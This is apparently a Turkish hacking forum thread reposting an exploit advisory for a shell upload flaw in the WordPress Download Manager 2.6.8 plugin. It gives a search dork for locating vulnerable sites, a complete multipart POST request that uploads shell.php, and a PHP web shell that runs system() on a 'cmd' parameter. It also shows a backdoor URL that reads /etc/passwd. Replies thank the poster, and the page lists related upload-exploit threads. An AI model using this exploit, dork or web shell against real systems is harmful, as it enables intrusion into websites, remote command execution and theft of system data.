Konuyu Oyla:
  • Derecelendirme: 0/5 - 0 oy
  • 1
  • 2
  • 3
  • 4
  • 5
Bug: WordPress Download Manager 2.6.8 Shell Upload
#1
Dork: inurl:wp-content/plugins/download-manager/wpdm-add-new-file.php
# Exploit Title : WordPress Download Manager 2.6.8 Shell Upload Vulnerability

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://www.wpdownloadmanager.com

# Software Link : http://downloads.wordpress.org/plugin/do...anager.zip

# Date : 2014-07-11

# Tested on : Linux / Mozilla Firefox / WordPress Download Manager 2.6.8 Free Version
#
#




# Location :

Kod:
http://IP_VICTIM/wp-content/plugins/download-manager/wpdm-add-new-file.php




# Description :

WordPress Download Manager 2.6.8 suffers from a remote shell upload vulnerability.

Author or Administrator user could upload shell script (Default Settings).

There are no settings to exclude php extensions.




# PoC :

Kod:
POST
Host=10.0.0.67
User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding=gzip, deflate
Referer=http://IP_VICTIM/wp-admin/admin.php?page=file-manager/add-new-file
Content-Length=775
Content-Type=multipart/form-data; boundary=---------------------------298331869519772
Cookie=wordpress_b43b255bc018ee66673cd91980a723bf=usernametest%7C1405260002%7C76c1b315f6f8b6e1885921a763036464;
wp-settings-1=advImgDetails%3Dshow%26libraryContent%3Dupload%26wpfb_adv_uploader%3D1%26editor%3Dtinymce%26uploader%3D1;
wp-settings-time-1=1405085177; bLicense54=true; testpopup=true;
__utma=86855576.2039073811.1404413871.1404413871.1404416567.2;
__utmz=86855576.1404413871.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_fid=6EEA54B2DFA4150F-06C135149F70F3D9;
wp-settings-time-2=1404901595; wp-settings-2=mfold%3Do; cms-panel-collapsed-cms-content-tools-CMSPagesController=true;
cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-AssetAdmin=true;
cms-panel-collapsed-cms-content-tools-CMSMain=false; wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_b43b255bc018ee66673cd91980a723bf=usernametest%7C1405260002%7Cf8b04eec8327ab6f17d0b28ce02fe66e
Connection=keep-alive
Pragma=no-cache
Cache-Control=no-cache
POSTDATA =-----------------------------298331869519772
Content-Disposition: form-data; name="name"

shell.php
-----------------------------298331869519772
Content-Disposition: form-data; name="_ajax_nonce"

1cfccd7168
-----------------------------298331869519772
Content-Disposition: form-data; name="action"

file_upload
-----------------------------298331869519772
Content-Disposition: form-data; name="async-upload"; filename="shell.php"
Content-Type: application/octet-stream

Kod:
<?php

if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}

?>

Usage: http://target.com/simple-backdoor.php?cm...etc/passwd


-----------------------------298331869519772--




#####################

# Backdoor Location:

http://IP_VICTIM/wp-content/uploads/download-manager-files/shell.php?cmd=cat+/etc/passwd



#####################

Discovered By : Claudio Viviani
http://www.homelab.it
info@homelab.it

https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/

#####################
Beğenenler:
#2
Faydalı Teşekkürler.
Beğenenler:
#3
Teşekkürler
İnsɑnlɑr değişmez değişen tek şey şɑrtlɑr ve çıkɑrlɑr...
Beğenenler:

Konu ile Alakalı Benzer Konular
Konular Yazar Yorumlar Okunma Son Yorum
  WordPress TimThumb Dorkları + Cyberizme Özel KingSkrupellos 75 4,424 07-12-2016, Saat: 18:14
Son Yorum: TiqReGo
  WordPress TheAgency Teması Dosya Yükleme Açığı KingSkrupellos 11 200 05-12-2016, Saat: 18:42
Son Yorum: the_zizil
  Wordpress "Js Support Ticket" File Upload Bypass Extensions Mr.F92 16 547 03-12-2016, Saat: 00:10
Son Yorum: Slowycan
  sacro CMS unrestricted upload You LosT 3 194 30-11-2016, Saat: 02:51
Son Yorum: 0xfans
  WP Premium Gallery Manager Plugin Dosya Yükleme Açığı KingSkrupellos 7 116 27-11-2016, Saat: 15:07
Son Yorum: Efetimi
Anahtar Kelimeler

Bug: WordPress Download Manager 2.6.8 Shell Upload indir, Bug: WordPress Download Manager 2.6.8 Shell Upload Videosu, Bug: WordPress Download Manager 2.6.8 Shell Upload Online izle, Bug: WordPress Download Manager 2.6.8 Shell Upload Bedava indir, Bug: WordPress Download Manager 2.6.8 Shell Upload Yükle, Bug: WordPress Download Manager 2.6.8 Shell Upload Hakkında, Bug: WordPress Download Manager 2.6.8 Shell Upload Nedir, Bug: WordPress Download Manager 2.6.8 Shell Upload Free indir, Bug: WordPress Download Manager 2.6.8 Shell Upload Oyunu, Bug: WordPress Download Manager 2.6.8 Shell Upload Download


1 Ziyaretçi